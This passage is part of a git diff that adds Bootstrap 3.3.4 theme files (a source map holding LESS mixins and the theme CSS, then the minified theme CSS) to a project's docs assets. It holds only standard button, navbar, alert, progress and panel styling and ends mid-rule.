-ms-transform: translate(@x, @y); // IE9 only\n -o-transform: translate(@x, @y);\n transform: translate(@x, @y);\n}\n.translate3d(@x; @y; @z) {\n -webkit-transform: translate3d(@x, @y, @z);\n transform: translate3d(@x, @y, @z);\n}\n.rotate(@degrees) {\n -webkit-transform: rotate(@degrees);\n -ms-transform: rotate(@degrees); // IE9 only\n -o-transform: rotate(@degrees);\n transform: rotate(@degrees);\n}\n.rotateX(@degrees) {\n -webkit-transform: rotateX(@degrees);\n -ms-transform: rotateX(@degrees); // IE9 only\n -o-transform: rotateX(@degrees);\n transform: rotateX(@degrees);\n}\n.rotateY(@degrees) {\n -webkit-transform: rotateY(@degrees);\n -ms-transform: rotateY(@degrees); // IE9 only\n -o-transform: rotateY(@degrees);\n transform: rotateY(@degrees);\n}\n.perspective(@perspective) {\n -webkit-perspective: @perspective;\n -moz-perspective: @perspective;\n perspective: @perspective;\n}\n.perspective-origin(@perspective) {\n -webkit-perspective-origin: @perspective;\n -moz-perspective-origin: @perspective;\n perspective-origin: @perspective;\n}\n.transform-origin(@origin) {\n -webkit-transform-origin: @origin;\n -moz-transform-origin: @origin;\n -ms-transform-origin: @origin; // IE9 only\n transform-origin: @origin;\n}\n\n\n// Transitions\n\n.transition(@transition) {\n -webkit-transition: @transition;\n -o-transition: @transition;\n transition: @transition;\n}\n.transition-property(@transition-property) {\n -webkit-transition-property: @transition-property;\n transition-property: @transition-property;\n}\n.transition-delay(@transition-delay) {\n -webkit-transition-delay: @transition-delay;\n transition-delay: @transition-delay;\n}\n.transition-duration(@transition-duration) {\n -webkit-transition-duration: @transition-duration;\n transition-duration: @transition-duration;\n}\n.transition-timing-function(@timing-function) {\n -webkit-transition-timing-function: @timing-function;\n transition-timing-function: @timing-function;\n}\n.transition-transform(@transition) {\n -webkit-transition: -webkit-transform @transition;\n -moz-transition: -moz-transform @transition;\n -o-transition: -o-transform @transition;\n transition: transform @transition;\n}\n\n\n// User select\n// For selecting text on the page\n\n.user-select(@select) {\n -webkit-user-select: @select;\n -moz-user-select: @select;\n -ms-user-select: @select; // IE10+\n user-select: @select;\n}\n",".btn-default,\n.btn-primary,\n.btn-success,\n.btn-info,\n.btn-warning,\n.btn-danger {\n text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.2);\n -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.15), 0 1px 1px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.15), 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n.btn-default:active,\n.btn-primary:active,\n.btn-success:active,\n.btn-info:active,\n.btn-warning:active,\n.btn-danger:active,\n.btn-default.active,\n.btn-primary.active,\n.btn-success.active,\n.btn-info.active,\n.btn-warning.active,\n.btn-danger.active {\n -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n}\n.btn-default .badge,\n.btn-primary .badge,\n.btn-success .badge,\n.btn-info .badge,\n.btn-warning .badge,\n.btn-danger .badge {\n text-shadow: none;\n}\n.btn:active,\n.btn.active {\n background-image: none;\n}\n.btn-default {\n background-image: -webkit-linear-gradient(top, #ffffff 0%, #e0e0e0 100%);\n background-image: -o-linear-gradient(top, #ffffff 0%, #e0e0e0 100%);\n background-image: linear-gradient(to bottom, #ffffff 0%, #e0e0e0 100%);\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe0e0e0', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n background-repeat: repeat-x;\n border-color: #dbdbdb;\n text-shadow: 0 1px 0 #fff;\n border-color: #ccc;\n}\n.btn-default:hover,\n.btn-default:focus {\n background-color: #e0e0e0;\n background-position: 0 -15px;\n}\n.btn-default:active,\n.btn-default.active {\n background-color: #e0e0e0;\n border-color: #dbdbdb;\n}\n.btn-default.disabled,\n.btn-default:disabled,\n.btn-default[disabled] {\n background-color: #e0e0e0;\n background-image: none;\n}\n.btn-primary {\n background-image: -webkit-linear-gradient(top, #337ab7 0%, #265a88 100%);\n background-image: -o-linear-gradient(top, #337ab7 0%, #265a88 100%);\n background-image: linear-gradient(to bottom, #337ab7 0%, #265a88 100%);\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff265a88', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n background-repeat: repeat-x;\n border-color: #245580;\n}\n.btn-primary:hover,\n.btn-primary:focus {\n background-color: #265a88;\n background-position: 0 -15px;\n}\n.btn-primary:active,\n.btn-primary.active {\n background-color: #265a88;\n border-color: #245580;\n}\n.btn-primary.disabled,\n.btn-primary:disabled,\n.btn-primary[disabled] {\n background-color: #265a88;\n background-image: none;\n}\n.btn-success {\n background-image: -webkit-linear-gradient(top, #5cb85c 0%, #419641 100%);\n background-image: -o-linear-gradient(top, #5cb85c 0%, #419641 100%);\n background-image: linear-gradient(to bottom, #5cb85c 0%, #419641 100%);\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff419641', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n background-repeat: repeat-x;\n border-color: #3e8f3e;\n}\n.btn-success:hover,\n.btn-success:focus {\n background-color: #419641;\n background-position: 0 -15px;\n}\n.btn-success:active,\n.btn-success.active {\n background-color: #419641;\n border-color: #3e8f3e;\n}\n.btn-success.disabled,\n.btn-success:disabled,\n.btn-success[disabled] {\n background-color: #419641;\n background-image: none;\n}\n.btn-info {\n background-image: -webkit-linear-gradient(top, #5bc0de 0%, #2aabd2 100%);\n background-image: -o-linear-gradient(top, #5bc0de 0%, #2aabd2 100%);\n background-image: linear-gradient(to bottom, #5bc0de 0%, #2aabd2 100%);\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff2aabd2', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n background-repeat: repeat-x;\n border-color: #28a4c9;\n}\n.btn-info:hover,\n.btn-info:focus {\n background-color: #2aabd2;\n background-position: 0 -15px;\n}\n.btn-info:active,\n.btn-info.active {\n background-color: #2aabd2;\n border-color: #28a4c9;\n}\n.btn-info.disabled,\n.btn-info:disabled,\n.btn-info[disabled] {\n background-color: #2aabd2;\n background-image: none;\n}\n.btn-warning {\n background-image: -webkit-linear-gradient(top, #f0ad4e 0%, #eb9316 100%);\n background-image: -o-linear-gradient(top, #f0ad4e 0%, #eb9316 100%);\n background-image: linear-gradient(to bottom, #f0ad4e 0%, #eb9316 100%);\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffeb9316', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n background-repeat: repeat-x;\n border-color: #e38d13;\n}\n.btn-warning:hover,\n.btn-warning:focus {\n background-color: #eb9316;\n background-position: 0 -15px;\n}\n.btn-warning:active,\n.btn-warning.active {\n background-color: #eb9316;\n border-color: #e38d13;\n}\n.btn-warning.disabled,\n.btn-warning:disabled,\n.btn-warning[disabled] {\n background-color: #eb9316;\n background-image: none;\n}\n.btn-danger {\n background-image: -webkit-linear-gradient(top, #d9534f 0%, #c12e2a 100%);\n background-image: -o-linear-gradient(top, #d9534f 0%, #c12e2a 100%);\n background-image: linear-gradient(to bottom, #d9534f 0%, #c12e2a 100%);\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc12e2a', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n background-repeat: repeat-x;\n border-color: #b92c28;\n}\n.btn-danger:hover,\n.btn-danger:focus {\n background-color: #c12e2a;\n background-position: 0 -15px;\n}\n.btn-danger:active,\n.btn-danger.active {\n background-color: #c12e2a;\n border-color: #b92c28;\n}\n.btn-danger.disabled,\n.btn-danger:disabled,\n.btn-danger[disabled] {\n background-color: #c12e2a;\n background-image: none;\n}\n.thumbnail,\n.img-thumbnail {\n -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.075);\n box-shadow: 0 1px 2px rgba(0, 0, 0, 0.075);\n}\n.dropdown-menu > li > a:hover,\n.dropdown-menu > li > a:focus {\n background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);\n background-image: -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);\n background-image: linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);\n background-color: #e8e8e8;\n}\n.dropdown-menu > .active > a,\n.dropdown-menu > .active > a:hover,\n.dropdown-menu > .active > a:focus {\n background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);\n background-color: #2e6da4;\n}\n.navbar-default {\n background-image: -webkit-linear-gradient(top, #ffffff 0%, #f8f8f8 100%);\n background-image: -o-linear-gradient(top, #ffffff 0%, #f8f8f8 100%);\n background-image: linear-gradient(to bottom, #ffffff 0%, #f8f8f8 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff8f8f8', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n border-radius: 4px;\n -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.15), 0 1px 5px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.15), 0 1px 5px rgba(0, 0, 0, 0.075);\n}\n.navbar-default .navbar-nav > .open > a,\n.navbar-default .navbar-nav > .active > a {\n background-image: -webkit-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%);\n background-image: -o-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%);\n background-image: linear-gradient(to bottom, #dbdbdb 0%, #e2e2e2 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdbdbdb', endColorstr='#ffe2e2e2', GradientType=0);\n -webkit-box-shadow: inset 0 3px 9px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 3px 9px rgba(0, 0, 0, 0.075);\n}\n.navbar-brand,\n.navbar-nav > li > a {\n text-shadow: 0 1px 0 rgba(255, 255, 255, 0.25);\n}\n.navbar-inverse {\n background-image: -webkit-linear-gradient(top, #3c3c3c 0%, #222222 100%);\n background-image: -o-linear-gradient(top, #3c3c3c 0%, #222222 100%);\n background-image: linear-gradient(to bottom, #3c3c3c 0%, #222222 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff3c3c3c', endColorstr='#ff222222', GradientType=0);\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n}\n.navbar-inverse .navbar-nav > .open > a,\n.navbar-inverse .navbar-nav > .active > a {\n background-image: -webkit-linear-gradient(top, #080808 0%, #0f0f0f 100%);\n background-image: -o-linear-gradient(top, #080808 0%, #0f0f0f 100%);\n background-image: linear-gradient(to bottom, #080808 0%, #0f0f0f 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff080808', endColorstr='#ff0f0f0f', GradientType=0);\n -webkit-box-shadow: inset 0 3px 9px rgba(0, 0, 0, 0.25);\n box-shadow: inset 0 3px 9px rgba(0, 0, 0, 0.25);\n}\n.navbar-inverse .navbar-brand,\n.navbar-inverse .navbar-nav > li > a {\n text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n}\n.navbar-static-top,\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n border-radius: 0;\n}\n@media (max-width: 767px) {\n .navbar .navbar-nav .open .dropdown-menu > .active > a,\n .navbar .navbar-nav .open .dropdown-menu > .active > a:hover,\n .navbar .navbar-nav .open .dropdown-menu > .active > a:focus {\n color: #fff;\n background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);\n }\n}\n.alert {\n text-shadow: 0 1px 0 rgba(255, 255, 255, 0.2);\n -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25), 0 1px 2px rgba(0, 0, 0, 0.05);\n box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25), 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n.alert-success {\n background-image: -webkit-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%);\n background-image: -o-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%);\n background-image: linear-gradient(to bottom, #dff0d8 0%, #c8e5bc 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffc8e5bc', GradientType=0);\n border-color: #b2dba1;\n}\n.alert-info {\n background-image: -webkit-linear-gradient(top, #d9edf7 0%, #b9def0 100%);\n background-image: -o-linear-gradient(top, #d9edf7 0%, #b9def0 100%);\n background-image: linear-gradient(to bottom, #d9edf7 0%, #b9def0 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffb9def0', GradientType=0);\n border-color: #9acfea;\n}\n.alert-warning {\n background-image: -webkit-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%);\n background-image: -o-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%);\n background-image: linear-gradient(to bottom, #fcf8e3 0%, #f8efc0 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fff8efc0', GradientType=0);\n border-color: #f5e79e;\n}\n.alert-danger {\n background-image: -webkit-linear-gradient(top, #f2dede 0%, #e7c3c3 100%);\n background-image: -o-linear-gradient(top, #f2dede 0%, #e7c3c3 100%);\n background-image: linear-gradient(to bottom, #f2dede 0%, #e7c3c3 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffe7c3c3', GradientType=0);\n border-color: #dca7a7;\n}\n.progress {\n background-image: -webkit-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%);\n background-image: -o-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%);\n background-image: linear-gradient(to bottom, #ebebeb 0%, #f5f5f5 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffebebeb', endColorstr='#fff5f5f5', GradientType=0);\n}\n.progress-bar {\n background-image: -webkit-linear-gradient(top, #337ab7 0%, #286090 100%);\n background-image: -o-linear-gradient(top, #337ab7 0%, #286090 100%);\n background-image: linear-gradient(to bottom, #337ab7 0%, #286090 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff286090', GradientType=0);\n}\n.progress-bar-success {\n background-image: -webkit-linear-gradient(top, #5cb85c 0%, #449d44 100%);\n background-image: -o-linear-gradient(top, #5cb85c 0%, #449d44 100%);\n background-image: linear-gradient(to bottom, #5cb85c 0%, #449d44 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff449d44', GradientType=0);\n}\n.progress-bar-info {\n background-image: -webkit-linear-gradient(top, #5bc0de 0%, #31b0d5 100%);\n background-image: -o-linear-gradient(top, #5bc0de 0%, #31b0d5 100%);\n background-image: linear-gradient(to bottom, #5bc0de 0%, #31b0d5 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff31b0d5', GradientType=0);\n}\n.progress-bar-warning {\n background-image: -webkit-linear-gradient(top, #f0ad4e 0%, #ec971f 100%);\n background-image: -o-linear-gradient(top, #f0ad4e 0%, #ec971f 100%);\n background-image: linear-gradient(to bottom, #f0ad4e 0%, #ec971f 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffec971f', GradientType=0);\n}\n.progress-bar-danger {\n background-image: -webkit-linear-gradient(top, #d9534f 0%, #c9302c 100%);\n background-image: -o-linear-gradient(top, #d9534f 0%, #c9302c 100%);\n background-image: linear-gradient(to bottom, #d9534f 0%, #c9302c 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc9302c', GradientType=0);\n}\n.progress-bar-striped {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.list-group {\n border-radius: 4px;\n -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.075);\n box-shadow: 0 1px 2px rgba(0, 0, 0, 0.075);\n}\n.list-group-item.active,\n.list-group-item.active:hover,\n.list-group-item.active:focus {\n text-shadow: 0 -1px 0 #286090;\n background-image: -webkit-linear-gradient(top, #337ab7 0%, #2b669a 100%);\n background-image: -o-linear-gradient(top, #337ab7 0%, #2b669a 100%);\n background-image: linear-gradient(to bottom, #337ab7 0%, #2b669a 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2b669a', GradientType=0);\n border-color: #2b669a;\n}\n.list-group-item.active .badge,\n.list-group-item.active:hover .badge,\n.list-group-item.active:focus .badge {\n text-shadow: none;\n}\n.panel {\n -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);\n box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n.panel-default > .panel-heading {\n background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);\n background-image: -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);\n background-image: linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);\n}\n.panel-primary > .panel-heading {\n background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);\n}\n.panel-success > .panel-heading {\n background-image: -webkit-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%);\n background-image: -o-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%);\n background-image: linear-gradient(to bottom, #dff0d8 0%, #d0e9c6 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffd0e9c6', GradientType=0);\n}\n.panel-info > .panel-heading {\n background-image: -webkit-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%);\n background-image: -o-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%);\n background-image: linear-gradient(to bottom, #d9edf7 0%, #c4e3f3 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffc4e3f3', GradientType=0);\n}\n.panel-warning > .panel-heading {\n background-image: -webkit-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%);\n background-image: -o-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%);\n background-image: linear-gradient(to bottom, #fcf8e3 0%, #faf2cc 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fffaf2cc', GradientType=0);\n}\n.panel-danger > .panel-heading {\n background-image: -webkit-linear-gradient(top, #f2dede 0%, #ebcccc 100%);\n background-image: -o-linear-gradient(top, #f2dede 0%, #ebcccc 100%);\n background-image: linear-gradient(to bottom, #f2dede 0%, #ebcccc 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffebcccc', GradientType=0);\n}\n.well {\n background-image: -webkit-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%);\n background-image: -o-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%);\n background-image: linear-gradient(to bottom, #e8e8e8 0%, #f5f5f5 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe8e8e8', endColorstr='#fff5f5f5', GradientType=0);\n border-color: #dcdcdc;\n -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.05), 0 1px 0 rgba(255, 255, 255, 0.1);\n box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.05), 0 1px 0 rgba(255, 255, 255, 0.1);\n}\n/*# sourceMappingURL=bootstrap-theme.css.map */","// Gradients\n\n#gradient {\n\n // Horizontal gradient, from left to right\n //\n // Creates two color stops, start and end, by specifying a color and position for each color stop.\n // Color stops are not available in IE9 and below.\n .horizontal(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {\n background-image: -webkit-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Opera 12\n background-image: linear-gradient(to right, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n background-repeat: repeat-x;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)\",argb(@start-color),argb(@end-color))); // IE9 and down\n }\n\n // Vertical gradient, from top to bottom\n //\n // Creates two color stops, start and end, by specifying a color and position for each color stop.\n // Color stops are not available in IE9 and below.\n .vertical(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {\n background-image: -webkit-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Opera 12\n background-image: linear-gradient(to bottom, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n background-repeat: repeat-x;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)\",argb(@start-color),argb(@end-color))); // IE9 and down\n }\n\n .directional(@start-color: #555; @end-color: #333; @deg: 45deg) {\n background-repeat: repeat-x;\n background-image: -webkit-linear-gradient(@deg, @start-color, @end-color); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(@deg, @start-color, @end-color); // Opera 12\n background-image: linear-gradient(@deg, @start-color, @end-color); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n }\n .horizontal-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {\n background-image: -webkit-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);\n background-image: -o-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);\n background-image: linear-gradient(to right, @start-color, @mid-color @color-stop, @end-color);\n background-repeat: no-repeat;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)\",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback\n }\n .vertical-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {\n background-image: -webkit-linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-image: -o-linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-image: linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-repeat: no-repeat;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)\",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback\n }\n .radial(@inner-color: #555; @outer-color: #333) {\n background-image: -webkit-radial-gradient(circle, @inner-color, @outer-color);\n background-image: radial-gradient(circle, @inner-color, @outer-color);\n background-repeat: no-repeat;\n }\n .striped(@color: rgba(255,255,255,.15); @angle: 45deg) {\n background-image: -webkit-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n background-image: linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n }\n}\n","// Reset filters for IE\n//\n// When you need to remove a gradient background, do not forget to use this to reset\n// the IE filter for IE9 and below.\n\n.reset-filter() {\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(enabled = false)\"));\n}\n"]} \ No newline at end of file diff --git a/docs/assets/css/bootstrap-theme.min.css b/docs/assets/css/bootstrap-theme.min.css new file mode 100644 index 000000000..89495d3b7 --- /dev/null +++ b/docs/assets/css/bootstrap-theme.min.css @@ -0,0 +1,5 @@ +/*! + * Bootstrap v3.3.4 (http://getbootstrap.com) + * Copyright 2011-2015 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */.btn-danger,.btn-default,.btn-info,.btn-primary,.btn-success,.btn-warning{text-shadow:0 -1px 0 rgba(0,0,0,.2);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 1px rgba(0,0,0,.075)}.btn-danger.active,.btn-danger:active,.btn-default.active,.btn-default:active,.btn-info.active,.btn-info:active,.btn-primary.active,.btn-primary:active,.btn-success.active,.btn-success:active,.btn-warning.active,.btn-warning:active{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-danger .badge,.btn-default .badge,.btn-info .badge,.btn-primary .badge,.btn-success .badge,.btn-warning .badge{text-shadow:none}.btn.active,.btn:active{background-image:none}.btn-default{text-shadow:0 1px 0 #fff;background-image:-webkit-linear-gradient(top,#fff 0,#e0e0e0 100%);background-image:-o-linear-gradient(top,#fff 0,#e0e0e0 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e0e0e0));background-image:linear-gradient(to bottom,#fff 0,#e0e0e0 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe0e0e0', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#dbdbdb;border-color:#ccc}.btn-default:focus,.btn-default:hover{background-color:#e0e0e0;background-position:0 -15px}.btn-default.active,.btn-default:active{background-color:#e0e0e0;border-color:#dbdbdb}.btn-default.disabled,.btn-default:disabled,.btn-default[disabled]{background-color:#e0e0e0;background-image:none}.btn-primary{background-image:-webkit-linear-gradient(top,#337ab7 0,#265a88 100%);background-image:-o-linear-gradient(top,#337ab7 0,#265a88 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#265a88));background-image:linear-gradient(to bottom,#337ab7 0,#265a88 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff265a88', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#245580}.btn-primary:focus,.btn-primary:hover{background-color:#265a88;background-position:0 -15px}.btn-primary.active,.btn-primary:active{background-color:#265a88;border-color:#245580}.btn-primary.disabled,.btn-primary:disabled,.btn-primary[disabled]{background-color:#265a88;background-image:none}.btn-success{background-image:-webkit-linear-gradient(top,#5cb85c 0,#419641 100%);background-image:-o-linear-gradient(top,#5cb85c 0,#419641 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5cb85c),to(#419641));background-image:linear-gradient(to bottom,#5cb85c 0,#419641 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff419641', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#3e8f3e}.btn-success:focus,.btn-success:hover{background-color:#419641;background-position:0 -15px}.btn-success.active,.btn-success:active{background-color:#419641;border-color:#3e8f3e}.btn-success.disabled,.btn-success:disabled,.btn-success[disabled]{background-color:#419641;background-image:none}.btn-info{background-image:-webkit-linear-gradient(top,#5bc0de 0,#2aabd2 